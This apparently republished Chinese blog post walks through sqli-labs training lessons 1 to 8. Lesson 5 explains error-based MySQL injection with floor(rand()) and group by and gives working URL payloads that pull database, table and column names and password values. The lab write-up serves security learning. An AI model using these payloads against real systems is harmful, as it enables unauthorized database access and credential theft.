sql-lab基础挑战1~10(持续更新)

Lesson 1

  • 基于错误的GET单引号字符型注入

    《sql-lab基础挑战1~10(持续更新)》 sql-lab1.png

Lesson 2

《sql-lab基础挑战1~10(持续更新)》 sql-lab2.png

Lesson 3

《sql-lab基础挑战1~10(持续更新)》 sql-lab3.png

Lesson 4

select username,password from table where id=("$id") LIMIT 0,1

查看源码

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

《sql-lab基础挑战1~10(持续更新)》 sql-lab4.png

Lesson 5
我们发现这道题是没有显示位的 所以这道题的关键在于,如何构造使其产生错误,从而得到我们需要的信息
我们先来认识几个接下来会用到的函数

——count():统计元组的个数
+----------+
| count(*) |
+----------+
|      285 |
+----------+
从information_schema.tables统计元组个数有多少

——rand():  用于产生一个0~1的随机数
mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.9833602495336535 |
+--------------------+
1 row in set (0.00 sec)

——floor(): 向下取整
mysql> select floor(rand());
+---------------+
| floor(rand()) |
+---------------+
|             0 |
+---------------+
1 row in set (0.00 sec)

mysql> select floor(rand()*2);
+-----------------+
| floor(rand()*2) |
+-----------------+
|               1 |
+-----------------+
1 row in set (0.00 sec)

——group by:对我们想要的规则对结果进行分组
+----------------+--------------------+
| table_name     | table_schema       |
+----------------+--------------------+
| a2acpo133n     | challenges         |
| CHARACTER_SETS | information_schema |
| columns_priv   | mysql              |
| cond_instances | performance_schema |
| emails         | security           |
| tra_detail     | tes                |
| tra_detail     | travel             |
+----------------+--------------------+
7 rows in set (0.00 sec)

接下来进入mysql命令行,构造会使其报错的语句

进入mysql命令行
use security;
select database();

select group_concat(0x3a,0x3a,database(),0x3a)name;
(0x3a 是分号的,表头太长取一个别名name)
+-------------+
| name        |
+-------------+
| ::security: |
+-------------+

接下来我们向里面添加刚才的随机数函数
select group_concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name;
+--------------+
| name         |
+--------------+
| ::security:1 |
+--------------+

我们再增加一点内容
select group_concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables;
informaition.tables 有多少条记录security显示多少次 随机数就执行多少次。

为了让显示更有序 我们换成排列  concat
select concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from informaition_schema.tables;

对结果分组 以那么分组
select concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from informaition_schema.tables group by name;

加一个count统计
select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;
多刷新几次 发现报错了,报错的信息有数据库的名字 那么我们可以的到更多信息

ERROR 1062 (23000): Duplicate entry '::security:0' for key '<group_key>'

我们将database换成version
select count(*),concat(0x3a,0x3a,version(),0x3a,floor(rand()*2))name from information_schema.tables group by name;

ERROR 1062 (23000): Duplicate entry '::5.7.19:1' for key '<group_key>'

为了得到想要查询的东西
比如说添加一个复杂的查询语句
select count(*),concat(0x3a,0x3a,version(),0x3a,floor(rand()*2))name from information_schema.tables group by name;

将version()换为(select table_name from information_schema.tables where table_schema=database() limit 0,1)
报错得到信息  继续查看其他信息 修改limit参数

回到这一题

?id=1' and   (select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name) --+
 报错:Operand should contain 1 column(s)    操作应包含一列
 {
 kc表是一个数据表,假设表的行数为10行。
 select  1 from kc    增加临时列,每行的列值是写在select后的数,这条sql语句中是1
 }
 我们增加一列
?id=1' and   (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name)) --+
 报错: Every derived table must have its own alias    每个派生表必须有自己的别名
 修改如下
?id=1' and (select 1 from (select  count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name)b) --+
 报错得到数据库名 Duplicate entry ::security:0 for key' 

 按照之前的想法我们把database() 换成更复杂的语句
 (select table_name from information_schema.tables where table_schema=database() limit 0,1)

 Duplicate entry '::emails:0' for key ''  得到表名email  修改limit得到第二个表

为了得到user表里面的列名 修改一下
(select column_name from information_schema.columns where table_name='users' limit 0,1)
Duplicate entry '::USER:0' for key ''得到了其中的user列名 修改得到其他列名  得到password列名

获取字段内容
 (select password from users  limit 0,1)  得到   Duplicate entry '::Dumb:1' for key ''

这里为什么会报错 是mysql的一个bug https://bugs.mysql.com/bug.php?id=32249

Lesson 6
双引号闭合,同理Lesson 5

Lesson 7
select into outfile

《sql-lab基础挑战1~10(持续更新)》 sql_lab7.png

Lesson 8
substr()函数
ascii()函数

《sql-lab基础挑战1~10(持续更新)》 sql_lab8.png

    原文作者:nice_o
    原文地址: https://www.jianshu.com/p/59ddcd0090d1
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞